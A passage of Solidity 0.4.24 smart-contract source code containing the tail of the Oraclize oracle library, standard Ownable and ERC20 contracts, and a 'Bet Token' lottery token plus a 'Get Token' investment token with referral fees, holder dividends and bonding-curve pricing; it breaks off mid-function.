dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) view internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2])));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(abi.encodePacked(sha256(abi.encodePacked(context_name, queryId)))))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(abi.encodePacked(commitmentSlice1, sessionPubkeyHash))){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
pragma solidity ^0.4.24;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.4.24;
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string name, string symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string) {
return _name;
}
function symbol() public view returns (string) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
}
contract BonusToken is ERC20, ERC20Detailed, Ownable {
address public gameAddress;
address public investTokenAddress;
uint public maxLotteryParticipants;
mapping (address => uint256) public ethLotteryBalances;
address[] public ethLotteryParticipants;
uint256 public ethLotteryBank;
bool public isEthLottery;
mapping (address => uint256) public tokensLotteryBalances;
address[] public tokensLotteryParticipants;
uint256 public tokensLotteryBank;
bool public isTokensLottery;
modifier onlyGame() {
require(msg.sender == gameAddress);
_;
}
modifier tokenIsAvailable {
require(investTokenAddress != address(0));
_;
}
constructor (address startGameAddress) public ERC20Detailed("Bet Token", "BET", 18) {
setGameAddress(startGameAddress);
}
function setGameAddress(address newGameAddress) public onlyOwner {
require(newGameAddress != address(0));
gameAddress = newGameAddress;
}
function buyTokens(address buyer, uint256 tokensAmount) public onlyGame {
_mint(buyer, tokensAmount * 10**18);
}
function startEthLottery() public onlyGame {
isEthLottery = true;
}
function startTokensLottery() public onlyGame tokenIsAvailable {
isTokensLottery = true;
}
function restartEthLottery() public onlyGame {
for (uint i = 0; i < ethLotteryParticipants.length; i++) {
ethLotteryBalances[ethLotteryParticipants[i]] = 0;
}
ethLotteryParticipants = new address[](0);
ethLotteryBank = 0;
isEthLottery = false;
}
function restartTokensLottery() public onlyGame tokenIsAvailable {
for (uint i = 0; i < tokensLotteryParticipants.length; i++) {
tokensLotteryBalances[tokensLotteryParticipants[i]] = 0;
}
tokensLotteryParticipants = new address[](0);
tokensLotteryBank = 0;
isTokensLottery = false;
}
function updateEthLotteryBank(uint256 value) public onlyGame {
ethLotteryBank = ethLotteryBank.sub(value);
}
function updateTokensLotteryBank(uint256 value) public onlyGame {
tokensLotteryBank = tokensLotteryBank.sub(value);
}
function swapTokens(address account, uint256 tokensToBurnAmount) public {
require(msg.sender == investTokenAddress);
_burn(account, tokensToBurnAmount);
}
function sendToEthLottery(uint256 value) public {
require(!isEthLottery);
require(ethLotteryParticipants.length < maxLotteryParticipants);
address account = msg.sender;
_burn(account, value);
if (ethLotteryBalances[account] == 0) {
ethLotteryParticipants.push(account);
}
ethLotteryBalances[account] = ethLotteryBalances[account].add(value);
ethLotteryBank = ethLotteryBank.add(value);
}
function sendToTokensLottery(uint256 value) public tokenIsAvailable {
require(!isTokensLottery);
require(tokensLotteryParticipants.length < maxLotteryParticipants);
address account = msg.sender;
_burn(account, value);
if (tokensLotteryBalances[account] == 0) {
tokensLotteryParticipants.push(account);
}
tokensLotteryBalances[account] = tokensLotteryBalances[account].add(value);
tokensLotteryBank = tokensLotteryBank.add(value);
}
function ethLotteryParticipants() public view returns(address[]) {
return ethLotteryParticipants;
}
function tokensLotteryParticipants() public view returns(address[]) {
return tokensLotteryParticipants;
}
function setInvestTokenAddress(address newInvestTokenAddress) external onlyOwner {
require(newInvestTokenAddress != address(0));
investTokenAddress = newInvestTokenAddress;
}
function setMaxLotteryParticipants(uint256 participants) external onlyOwner {
maxLotteryParticipants = participants;
}
}
interface modIERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value, uint256 index) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract modERC20Detailed is modIERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string name, string symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string) {
return _name;
}
function symbol() public view returns (string) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract modERC20 is modIERC20 {
using SafeMath for uint256;
uint256 constant public MIN_HOLDERS_BALANCE = 20 ether;
address public gameAddress;
mapping (address => uint256) private _balances;
uint256 private _totalSupply;
address[] internal holders;
mapping(address => bool) internal isUser;
function getHolders() public view returns (address[]) {
return holders;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
if (to != gameAddress && from != gameAddress) {
uint256 transferFee = value.div(100);
_burn(from, transferFee);
value = value.sub(transferFee);
}
_balances[from] = _balances[from].sub(value);
if (to != gameAddress && _balances[to] < MIN_HOLDERS_BALANCE && _balances[to].add(value) >= MIN_HOLDERS_BALANCE) {
holders.push(to);
}
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
}
contract InvestToken is modERC20, modERC20Detailed, Ownable {
uint8 constant public REFERRER_PERCENT = 3;
uint8 constant public CASHBACK_PERCENT = 2;
uint8 constant public HOLDERS_BUY_PERCENT_WITH_REFERRER = 7;
uint8 constant public HOLDERS_BUY_PERCENT_WITH_REFERRER_AND_CASHBACK = 5;
uint8 constant public HOLDERS_BUY_PERCENT = 10;
uint8 constant public HOLDERS_SELL_PERCENT = 5;
uint8 constant public TOKENS_DIVIDER = 10;
uint256 constant public PRICE_INTERVAL = 10000000000;
uint256 public swapTokensLimit;
uint256 public investDividends;
uint256 public casinoDividends;
mapping(address => uint256) public ethStorage;
mapping(address => address) public referrers;
mapping(address => uint256) public investSize24h;
mapping(address => uint256) public lastInvestTime;
BonusToken public bonusToken;
uint256 private holdersIndex;
uint256 private totalInvestDividends;
uint256 private totalCasinoDividends;
uint256 private priceCoeff = 105e9;
uint256 private constant a = 5e9;
event Buy(address indexed buyer, uint256 weiAmount, uint256 tokensAmount, uint256 timestamp);
event Sell(address indexed seller, uint256 weiAmount, uint256 tokensAmount, uint256 timestamp);
event Reinvest(address indexed investor, uint256 weiAmount, uint256 tokensAmount, uint256 timestamp);
event Withdraw(address indexed investor, uint256 weiAmount, uint256 timestamp);
event ReferalsIncome(address indexed recipient, uint256 amount, uint256 timestamp);
event InvestIncome(address indexed recipient, uint256 amount, uint256 timestamp);
event CasinoIncome(address indexed recipient, uint256 amount, uint256 timestamp);
constructor (address _bonusToken) public modERC20Detailed("Get Token", "GET", 18) {
require(_bonusToken != address (0));
bonusToken = BonusToken(_bonusToken);
swapTokensLimit = 10000;
swapTokensLimit = swapTokensLimit.mul(10 ** uint256(decimals()));
}
modifier onlyGame() {
require(msg.sender == gameAddress, 'The sender must be a game contract.');
_;
}
function () public payable {
if (msg.sender != gameAddress) {
address referrer;
if (msg.data.length == 20) {
referrer = bytesToAddress(bytes(msg.data));
}
buyTokens(referrer);
}
}
function buyTokens(address referrer) public payable {
uint256 weiAmount = msg.value;
address buyer = msg.sender;
uint256 tokensAmount;
(weiAmount, tokensAmount) = mint(buyer, weiAmount);
uint256 correctWeiAmount = msg.value.sub(weiAmount);
checkInvestTimeAndSize(buyer, correctWeiAmount);
if (!isUser[buyer]) {
if (referrer != address(0) && referrer != buyer) {
referrers[buyer] = referrer;
}
buyFee(buyer, correctWeiAmount, true);
isUser[buyer] = true;
} else {
buyFee(buyer, correctWeiAmount, false);
}
if (weiAmount > 0) {
buyer.transfer(weiAmount);
}
emit Buy(buyer, correctWeiAmount, tokensAmount, now);
}
function sellTokens(uint256 tokensAmount, uint index) public {
address seller = msg.sender;
tokensAmount = tokensAmount.div(decimals()).mul(decimals());
burn(seller, tokensAmount, index);
uint256 weiAmount = tokensToEthereum(tokensAmount.div(uint256(10) ** decimals()));
weiAmount = sellFee(weiAmount);
seller.transfer(weiAmount);
emit Sell(seller, weiAmount, tokensAmount, now);
}
function swapTokens(uint256 tokensAmountToBurn) public {
uint256 tokensAmountToMint = tokensAmountToBurn.div(TOKENS_DIVIDER);
require(tokensAmountToMint <= swapTokensLimit.sub(tokensAmountToMint));
require(bonusToken.balanceOf(msg.sender) >= tokensAmountToBurn, 'Not enough bonus tokens.');
bonusToken.swapTokens(msg.sender, tokensAmountToBurn);
swapTokensLimit = swapTokensLimit.sub(tokensAmountToMint);
priceCoeff = priceCoeff.add(tokensAmountToMint.mul(1e10));
correctBalanceByMint(msg.sender, tokensAmountToMint);
_mint(msg.sender, tokensAmountToMint);
}
function reinvest(uint256 weiAmount) public {
ethStorage[msg.sender] = ethStorage[msg.sender].sub(weiAmount);
uint256 tokensAmount;
(weiAmount, tokensAmount) = mint(msg.sender, weiAmount);
if (weiAmount > 0) {
ethStorage[msg.sender] = ethStorage[msg.sender].add(weiAmount);
}
emit Reinvest(msg.sender, weiAmount, tokensAmount, now);
}
function withdraw(uint256 weiAmount) public {
require(weiAmount > 0);
ethStorage[msg.sender] = ethStorage[msg.sender].sub(weiAmount);
msg.sender.transfer(weiAmount);
emit Withdraw(msg.sender, weiAmount, now);
}
function transfer(address to, uint256 value, uint256 index) public returns (bool) {
if (msg.sender != gameAddress) {
correctBalanceByBurn(msg.sender, value, index);
}
_transfer(msg.sender, to, value);
return true;
}
function sendDividendsToHolders(uint holdersIterations) public onlyOwner {
if (holdersIndex == 0) {
totalInvestDividends = investDividends;
totalCasinoDividends = casinoDividends;
}
uint holdersIterationsNumber;
if (holders.length.sub(holdersIndex) < holdersIterations) {
holdersIterationsNumber = holders.length.sub(holdersIndex);
} else {
holdersIterationsNumber = holdersIterations;
}
uint256 holdersBalance = 0;
uint256 weiAmount = 0;
for (uint256 i = 0; i < holdersIterationsNumber; i++) {
holdersBalance = balanceOf(holders[holdersIndex]);
if (holdersBalance >= MIN_HOLDERS_BALANCE) {
if (totalInvestDividends > 0) {
weiAmount = holdersBalance.mul(totalInvestDividends).div(totalSupply());
investDividends = investDividends.sub(weiAmount);
emit InvestIncome(holders[holdersIndex], weiAmount, now);
ethStorage[holders[holdersIndex]] = ethStorage[holders[holdersIndex]].add(weiAmount);
}
if (totalCasinoDividends > 0) {
weiAmount = holdersBalance.mul(totalCasinoDividends).div(totalSupply());
casinoDividends = casinoDividends.sub(weiAmount);
emit CasinoIncome(holders[holdersIndex], weiAmount, now);
ethStorage[holders[holdersIndex]] = ethStorage[holders[holdersIndex]].add(weiAmount);
}
}
holdersIndex++;
}
if (holdersIndex == holders.length) {
holdersIndex = 0;
}
}
function setGameAddress(address newGameAddress) public onlyOwner {
gameAddress = newGameAddress;
}
function sendToGame(address player, uint256 tokensAmount, uint256 index) public onlyGame returns(bool) {
correctBalanceByBurn(player, tokensAmount, index);
_transfer(player, gameAddress, tokensAmount);
return true;
}
function gameDividends(uint256 weiAmount) public onlyGame {
casinoDividends = casinoDividends.add(weiAmount);
}
function price() public view returns(uint256) {
return priceCoeff.add(a);
}
function mint(address account, uint256 weiAmount) private returns(uint256, uint256) {
(uint256 tokensToMint, uint256 backPayWeiAmount) = ethereumToTokens(weiAmount);
correctBalanceByMint(account, tokensToMint);
_mint(account, tokensToMint);
return (backPayWeiAmount, tokensToMint);
}
function burn(address account, uint256 tokensAmount, uint256 index) private returns(uint256, uint256) {
correctBalanceByBurn(account, tokensAmount, index);
_burn(account, tokensAmount);
}
function checkInvestTimeAndSize(address account, uint256 weiAmount) private {
if (now - lastInvestTime[account] > 24 hours) {
investSize24h[account] = 0;
}
require(investSize24h[account].add(weiAmount) <= 5 ether, 'Investment limit exceeded for 24 hours.');
investSize24h[account] = investSize24h[account].add(weiAmount);
lastInvestTime[account] = now;
}
function buyFee(address sender, uint256 weiAmount, bool isFirstInvest) private {
address referrer = referrers[sender];
uint256 holdersWeiAmount;
if (referrer != address(0)) {
uint256 referrerWeiAmount = weiAmount.mul(REFERRER_PERCENT).div(100);
emit ReferalsIncome(referrer, referrerWeiAmount, now);
ethStorage[referrer] = ethStorage[referrer].add(referrerWeiAmount);
if (isFirstInvest) {
uint256 cashbackWeiAmount = weiAmount.mul(CASHBACK_PERCENT).div(100);
emit ReferalsIncome(sender, cashbackWeiAmount, now);
ethStorage[sender] = ethStorage[sender].add(cashbackWeiAmount);
holdersWeiAmount = weiAmount.mul(HOLDERS_BUY_PERCENT_WITH_REFERRER_AND_CASHBACK).div(100);
} else {
holdersWeiAmount = weiAmount.mul(HOLDERS_BUY_PERCENT_WITH_REFERRER).div(100);
}
} else {
holdersWeiAmount = weiAmount.mul(HOLDERS_BUY_PERCENT).div(100);
}
addDividends(holdersWeiAmount);
}
function sellFee(uint256 weiAmount) private returns(uint256) {
uint256 holdersWeiAmount = weiAmount.mul(HOLDERS_SELL_PERCENT).div(100);
addDividends(holdersWeiAmount);
weiAmount = weiAmount.sub(holdersWeiAmount);
return weiAmount;
}
function addDividends(uint256 weiAmount) private {
investDividends = investDividends.add(weiAmount);
}
function correctBalanceByMint(address account, uint256 value) private {
if (balanceOf(account) < MIN_HOLDERS_BALANCE && balanceOf(account).add(value) >= MIN_HOLDERS_BALANCE) {
holders.push(msg.sender);
}
}
function correctBalanceByBurn(address account, uint256 value, uint256 index) private {
if (balanceOf(account) >= MIN_HOLDERS_BALANCE && balanceOf(account).sub(value) < MIN_HOLDERS_BALANCE) {
require(holders[index] == account);
deleteTokensHolder(index);
}
}
function ethereumToTokens(uint256 weiAmount) private returns(uint256, uint256) {
uint256 b = priceCoeff;
uint256 c = weiAmount;
uint256 D = (b ** 2).add(a.mul(4).mul(c));
uint256 tokensAmount = (sqrt(D).sub(b)).div((a).mul(2));
require(tokensAmount > 0);
uint256 backPayWeiAmount = weiAmount.sub(a.mul(tokensAmount ** 2).add(priceCoeff.mul(tokensAmount)));
priceCoeff = priceCoeff.add(tokensAmount.mul(1e10));
tokensAmount = tokensAmount.mul(10 ** uint256(decimals()));
return (tokensAmount, backPayWeiAmount);
}
function tokensToEthereum(uint256 tokensAmount) private returns(uint256) {
require(tokensAmount > 0);
uint256 weiAmount = priceCoeff.mul(tokensAmount).sub((tokensAmount ** 2).mul(5).mul(1e9));
